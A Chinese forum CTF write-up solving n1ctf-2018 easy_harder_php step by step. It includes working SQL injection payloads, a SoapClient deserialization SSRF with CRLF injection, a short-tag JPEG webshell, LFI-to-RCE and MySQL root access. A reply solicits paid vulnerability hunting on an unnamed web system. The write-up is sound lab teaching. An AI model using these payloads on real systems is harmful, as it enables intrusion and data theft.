首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
WEB安全
发新帖
0
0
[原创]一串反引号,十层突破:n1ctf-2018-easy_harder_php 从备份泄露到 MySQL 提权读 flag
发表于: 2026-8-9 10:25
2884
[原创]一串反引号,十层突破:n1ctf-2018-easy_harder_php 从备份泄露到 MySQL 提权读 flag
mb_dcvvjyqc
2026-8-9 10:25
2884
# 一串反引号,十层突破:n1ctf-2018-easy_harder_php 从备份泄露到 MySQL 提权读 flag > 目标:看雪 KCTF n1ctf-2018-easy_harder_php(Nu1L),PHP 5.5.9 + Apache 2.4.7 + MySQL,动态 Docker 靶机 > 结果:**`flag{9afddef5-5650-4032-9011-591e203e8223}`** > 阅读本文你将获得:一条从 `~` 备份文件 → SQL 注入盲注 → SoapClient 反序列化 SSRF → 短标签图片马上传 → LFI 包含 RCE → 启动脚本溯源 flag 的完整链路,以及我在每层踩过的坑与排错方法。 --- ## 0. 题面:一个"反引号变单引号"的拼写错误 平台给了一个 `:81` 端口的 PHP 站点,入口是登录页。习惯性试了试常见备份文件,没想到直接命中: ``` GET /index.php~ → 200, 168 字节, PHP 源码 GET /config.php~ → 200, 4678 字节, PHP 源码 GET /user.php~ → 200, 7234 字节, PHP 源码 ``` Apache 对 `~` 备份文件不做任何处理,直接当静态文件吐出。三个文件把整套业务逻辑摊开——这个题的灵魂全在 `user.php` 的 `Db::get_column()`: ```php private function get_column($columns){ if(is_array($columns)) $column = ' `'.implode('`,`',$columns).'` '; else $column = ' `'.$columns.'` '; return $column; } ``` **注入根因**:`get_column` 给列名套上反引号,而 `insert()` 里又用 `preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values))` 把反引号**替换成单引号**——替换发生在 SQL 拼接之前。所以任何进入 `$values` 的、含反引号的字符串,都会被"洗"成单引号注入点。而 `publish()` 里 signature 字段原样进 `$values`: ```php $db->insert(array('userid','username','signature','mood'),'ctf_user_signature', array($this->userid,$this->username,$_POST['signature'],$mood)); ``` `signature` 只被 `addslashes` 处理(`addsla_all()`),**引号会被转义,但反引号原样保留**。反引号被 `preg_replace` 洗成单引号 → 单引号被 addslashes 转义过 → 但替换发生在 addslashes **之后**……于是单引号在替换时"复活"了。这就是整个题的地基。 --- ## 1. 多行 INSERT 注入:让子查询真正执行 注入点在 `INSERT INTO ctf_user_signature(...) VALUES ('...','...','SIGNATURE','...')`。把 signature 构造成: ```sql x`,`y`),(`2`,`u`,(SUBQUERY),`m`),(`3`,`n`,`o`,`p`)# ``` 洗完之后变成: ```sql ... VALUES ('x','y'),(`2`,`u`,(SUBQUERY),'m'),('3','n','o','p')# ``` 即一次插入三行:第 1 行是我自己的正常签名(保证不破坏业务),第 2 行的第 3 列放**裸 SQL 子查询**(被反引号对保护,不参与 `preg_replace` 的替换),`#` 注释掉后面的语句。 **踩坑 1:第 1 行的 mood 列必须塞合法的 Mood 序列化。** 一开始我写 `` `x`,`y`)# ``,把 `y` 写进 mood 列,`showmess()` 里 `unserialize('y')` 直接失败,index 页 500,整个注入通道被污染,排查了半天。正确做法是第 1 行 mood 给一个真的 `Mood` 对象序列化: ```php $mood_ser = 'O:4:"Mood":3:{s:4:"mood";i:1;s:2:"ip";s:1:"1";s:4:"date";i:1;}'; $sig = "x`,`" . $mood_ser . "`),(`2`,`u`,(SUBQUERY),`m`),(`3`,`n`,`o`,`p`)#"; ``` **踩坑 2:第 2 行的 userid 必须等于我自己的 userid。** `showmess()` 查询 `WHERE userid = $this->userid`,一开始硬编码 `2`,平台 userid 是共享自增的,永远不命中,SoapClient 从来没被触发。用布尔盲注拿自己的 userid 后再拼: ```php $sig = "x`,`" . $mood_ser . "`),(`" . $my_uid . "`,`u`,(SUBQUERY),`m`),(`3`,`n`,`o`,`p`)#"; ``` 布尔盲注通道:子查询 `(select if(COND,1,(select 1 union select 2)))` —— 真时是合法单值(INSERT 成功,返回 OK),假时是 2 行子查询(INSERT 报错,返回 ERR)。这个通道非常稳定,全靠它把 admin 的密码 md5 逐字符挖出来: ``` admin 密码 md5 = 2533f492a796a3227b0c6f91d102cc36 → 还原明文 = nu1ladmin ``` --- ## 2. admin 登录限 127.0.0.1:一道 IP 墙 密码有了,但登录时: ``` POST /index.php?action=login (username=admin&password=nu1ladmin&code=xxx) → You can only login at the usual address ``` 源码说得很清楚: ```php if ($user[4] == '0' && $user[2] !== get_ip()) die("You can only login at the usual address"); ``` admin 的 `ip = 127.0.0.1`、`allow_diff_ip = 0`,而 `get_ip()` 就是 `$_SERVER['REMOTE_ADDR']`。**只有 REMOTE_ADDR 是 127.0.0.1 的请求才能登录 admin**。直接伪造 `X-Forwarded-For: 127.0.0.1` 无效(Apache 没配 mod_remoteip,REMOTE_ADDR 只看 TCP 源地址)。 要"从 127.0.0.1 发请求",只能靠 **SSRF**。而 `showmess()` 恰好有一个反序列化触发点: ```php $mood = unserialize($row[2]); $country = $mood->getcountry(); // Mood::getcountry() 里 file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip) ``` 如果 mood 列反序列化出来的是 **SoapClient** 对象,`getcountry()` 是它的**不存在方法**,会走 `__call` → `do_soap_call` → `__doRequest`,向 SoapClient 的 `location` 发起一次真实的 HTTP 请求——**这就是 SSRF**。 --- ## 3. SoapClient 反序列化 + CRLF 注入:伪造登录请求 PHP 5.5 的 SoapClient 序列化属性是 **public** 的,且 `_user_agent` 带下划线(11 字符)。最小触发构造: ```php O:10:"SoapClient":3:{ s:3:"uri";s:1:"x"; s:8:"location";s:NN:"http://127.0.0.1/index.php?action=login"; s:11:"_user_agent";s:MM:"<CRLF注入串>"; } ``` `make_http_soap_request` 生成请求头时会原样使用 `_user_agent` 的值,所以在这里注入 `\r\n` 就能伪造整段 HTTP 头 + 提前闭合头部 + 塞入自定义 body: ``` User-Agent: x Content-Type: application/x-www-form-urlencoded ← 伪造,覆盖 SOAP 的 text/xml Cookie: PHPSESSID=<目标session> ← 伪造,让 admin 登录到这个 session Content-Length: 66 ← 覆盖 SoapClient 自己的 Content-Length [空行] username=admin&password=nu1ladmin&code=<CODE> ← 伪造 body ``` **踩坑 3:password 必须传明文。** `login()` 里 `$password = md5($_POST['password'])`,我第一次把 md5 值塞进 body,结果服务器对 md5 值再算一次 md5,永远匹配不上——卡了很久才发现这个"二次哈希"陷阱。 **踩坑 4:验证码 code 的竞态。** `views/login` 每次 GET 都会刷新 `$_SESSION['code']`,而 code 是 `substr(md5(?),0,5)` 的 4 位爆破。一开始用 LFI 读 session 文件拿 code 再 POST,十次有八次报 `code erroar`。最后发现最稳的方式:**用一个"未登录的新 session",GET login 拿 hint → 爆破 code → 立即 POST(同一个 code 在同一秒内不会失效)**。因为目标 session 全程没有别的请求去刷新它,SoapClient 的伪造 POST 到达时 code 依然匹配。 **踩坑 5(本靶机最关键的坑):location 的端口。** 旧靶机上 location 用 `<mark class="encrypted">bafK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0R3I4i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0W2i4K6j5H3</mark> 死活不通(TCP 连接建立但请求没到应用,Apache 81 端口没有 vhost)。平台回收换新靶机后,把 location 改成 **`<mark class="encrypted">a01K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8X3W2F1k6r3g2^5i4K6u0W2M7r3S2H3i4K6y4r3j5h3y4@1K9h3!0F1i4K6y4p5L8r3!0Y4K9h3&6Q4y4U0m8Q4c8f1k6Q4b7V1y4Q4z5o6R3^5x3l9`.`.</mark> 端口,应用 vhost 所在)**,一次就通了。 触发后读目标 session: ``` code|s:5:"78177";is_admin|i:1;userid|s:1:"1";username|s:5:"admin"; ``` **admin 登录成功。** 至此 SSRF 反序列化链闭环。 --- ## 4. 文件上传:`<?=` 短标签躲过清理脚本 admin 的 `publish()` 走上传分支。上传逻辑: ```php $file_type = $file['type']; if($file_type!="image/jpeg" && $file_type!='image/pjpeg') die("file type invalid"); ... $file_true_name = $file_true_name.time().rand(1,100).'.jpg'; // 文件名 = 名称+时间戳+随机数(1-100)+.jpg $move_to_file = "/app/adminpic/".$file_true_name; if(stripos(file_get_contents($move_to_file),'<?php')>=0) system('sh /home/nu1lctf/clean_danger.sh'); // 含 <?php 就清理 ``` 两个关键点: 1. **文件名可爆破**:`<名称><时间戳><rand(1-100)>.jpg`,rand 只有 100 种可能,时间戳窗口 ±4 秒,LFI 爆破 100×9 = 900 次请求足够。 2. **clean_danger.sh 只查 `<?php` 子串**(`stripos`,不区分大小写): ```bash #!/bin/bash cd /app/adminpic/ rm *.jpg ``` **绕过**:用 `<?=` 短标签。`<?=` 是 PHP 5.4+ 永远可用的输出标签,不含 `<?php` 子串,`stripos` 查不到,文件不会被删。图片马: ``` \xff\xd8\xff\xe0...JFIF... ← JPEG 头,骗过 Content-Type 检查 <?=@shell_exec('COMMAND');?> ``` --- ## 5. LFI 包含图片马:RCE `index.php` 的 `require_once 'views/'.$_GET['action']` 是经典 LFI。包含上传的图片马: ``` GET /index.php?action=../../../app/adminpic/sh<时间戳><rand>.jpg ``` `<?=` 被执行,命令输出回显在页面里。爆破脚本几分钟内命中 `sh178624023488.jpg`,RCE 确认: ``` md5(12345) → 827ccb0e... ← 短标签执行成功 ``` **踩坑 6:payload 别带单引号嵌套。** 第一次把 `find / -name '*flag*'` 塞进 `shell_exec('...')`,单引号把 PHP 字符串炸了,静默失败。命令内要用双引号,外层 PHP 用单引号;或者外层用双引号(注意 `$` 变量解析)。 --- ## 6. 溯源 flag:环境变量是假的,MySQL 才是真的 RCE 之后开始找 flag: - `/flag`、`/flag.txt`、`/app/flag*`、`/home/nu1lctf/flag*` —— 全都不存在 - 全盘 `grep -r "flag{"` —— 无结果 - 环境变量 `env` —— **`FLAG=not_flag`**! 环境变量里的 FLAG 值居然是 `not_flag`——一个明摆着的假 flag。正当我以为这题是"拿不到 flag 的摆烂题"时,`ls -la /` 发现了根目录的 **`/run.sh`(容器启动脚本)**: ```bash # initialize database mysqld_safe --skip-grant-tables& mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('Nu1Lctf%#~:p') WHERE user='root';FLUSH PRIVILEGES;" ... mysql -e "USE flag;INSERT INTO flag (flag) VALUES('$FLAG');" -uroot -pNu1Lctf\%\#\~:p export FLAG=not_flag ← 注入完成后环境变量才被覆盖成假值! ``` **真相大白**:平台启动时把真实 `$FLAG` **先写进 MySQL 的 `flag` 库**,然后才把环境变量覆盖成 `not_flag` 防泄露。所以真实 flag 在数据库里,而且: - 应用的 `Nu1L` 用户**看不到 flag 库**(只授权了 nu1lctf 库,`show databases` 只有 information_schema + nu1lctf) - 但 **root 密码明文写在 run.sh 里**:`Nu1Lctf%#~:p` 最后一步,用 root 连库: ```bash mysql -uroot -p'Nu1Lctf%#~:p' -e 'USE flag; SELECT * FROM flag;' ``` ``` id flag 0 flag{9afddef5-5650-4032-9011-591e203e8223} ``` **FLAG 到手。** --- ## 7. 踩坑清单(按时间线) | # | 坑 | 表象 | 解法 | |---|-----|------|------| | 1 | 第 1 行 mood 列写坏 | index 永久 500,通道污染 | 第 1 行 mood 塞合法 Mood 序列化 | | 2 | 第 2 行 userid 硬编码 | SoapClient 永不触发 | 盲注自己 userid 再拼 | | 3 | password 传 md5 值 | 永远登录失败 | 传明文,login() 会自己 md5 | | 4 | code 竞态 | 十次八次 `code erroar` | 未登录新 session + GET hint + 立即 POST | | 5 | location 端口不对 | 127.0.0.1:81 不通 | 换 80 端口(应用 vhost) | | 6 | payload 单引号嵌套 | 静默执行失败 | 命令内用双引号 | | 7 | FLAG=not_flag 假值 | 以为无 flag | 读 run.sh 发现 MySQL flag 库 | --- ## 8. 后记 这道题最妙的地方在于:**每一个"防护"都在无意间指向下一条路**。反引号转单引号的 bug 给了 SQL 注入;admin 的 127.0.0.1 限制逼出了 SoapClient SSRF;clean_danger.sh 只查 `<?php` 让短标签钻了空子;环境变量 `FLAG=not_flag` 反而把注意力引向启动脚本,最终在 MySQL 里挖出真身。 十层突破,环环相扣——这就是 n1ctf-2018-easy_harder_php。 --- ## 附:完整攻击链速查 ``` 备份文件(~泄露) → 源码审计 → publish反引号注入 → 多行INSERT子查询盲注 → admin密码=nu1ladmin → SoapClient反序列化(uri+location+_user_agent) → CRLF注入伪造 Content-Type/Cookie/Content-Length/body → SSRF到127.0.0.1:80登录admin → 上传 <?= 短标签图片马(Content-Type: image/jpeg) → LFI包含/app/adminpic/sh<ts><rand>.jpg → RCE → 读/run.sh发现FLAG注入MySQL flag库 → mysql -uroot -p'Nu1Lctf%#~:p' 查询 → flag{...} ```
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
收藏
・
0
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
mb_spjlagub
雪 币:
24
活跃值:
(40)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
6
粉丝
0
关注
私信
mb_spjlagub
2
楼
刚仔细看了你写的 n1ctf 那篇 PHP+MySQL 提权和盲注,分析逻辑太丝滑了。
我手头有个老旧的 Web 系统(就是经典的 PHP+MySQL 架构,代码比较烂),目前需要做一次深度的漏洞挖掘、接口协议分析和安全审计,看看有没有未公开的逻辑漏洞或盲注点。
纯技术兼职,时间自由,按项目节点直接现结,不画饼。大佬近期有空搞个兼职吗?有兴趣的话随时加我v:ak13518860053
2026-8-23 14:12
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
mb_dcvvjyqc
9
发帖
1
回帖
40
RANK
关注
私信
他的文章
[原创]KCTF 2026 第二题:巳时·绿光幽语
129
[原创]一串反引号,十层突破:n1ctf-2018-easy_harder_php 从备份泄露到 MySQL 提权读 flag
2883
[原创]在正则的缝隙里跳舞:BabyFirst 限制型命令注入的完整攻破与复现
1473
[原创]hitcon-2016-babytrick 解题报告
3459
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部